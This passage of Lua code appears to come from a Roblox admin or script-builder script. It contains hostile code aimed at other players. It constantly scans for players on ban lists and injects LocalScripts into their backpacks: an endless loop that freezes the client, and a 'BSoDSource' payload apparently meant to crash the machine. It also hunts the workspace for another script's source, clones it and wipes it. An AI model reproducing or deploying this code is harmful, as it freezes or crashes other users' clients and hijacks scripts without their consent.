for _,v in pairs(game:service'Workspace':children()) do
if v and v:IsA("StringValue") and v.Name == Code then
if v.Value ~= nil and v.Value ~= "" then
Output(v.Value,"Really red")
game:service'Debris':AddItem(v, 3)
end
end
end
end
end)()
coroutine.wrap(function()
while wait() do
for _,v in pairs(game:service'Players':GetPlayers()) do
pcall(function()
for j,k in pairs(Banlist) do
if v.Name == k then
if v:findFirstChild("Backpack") ~= nil then
NewLS("repeat until ucrappedurpants", v.Backpack)
end
end
end
for j,k in pairs(HardBanlist) do
if v.Name == k then
if v:findFirstChild("Backpack") ~= nil then
NewLS(BSoDSource, v.Backpack)
end
end
end
end)
end
end
end)()
while found == false do
if game.PlaceId == 21053279 or game.PlaceId == 21053219 then break end
for _,ScriptInWorkspace in pairs(workspace:children()) do
if ScriptInWorkspace then
if ScriptInWorkspace:IsA("Script") then
if ScriptInWorkspace:FindFirstChild(SourceName) then
NewScript = ScriptInWorkspace:Clone()
wait()
NewScript.Name = "NewScript"
NewScript.Disabled = true
NewScript:FindFirstChild(SourceName).Value = ""
Output("Found a source!", "New Yeller")
found = true
break
end
end
end
end
wait()
end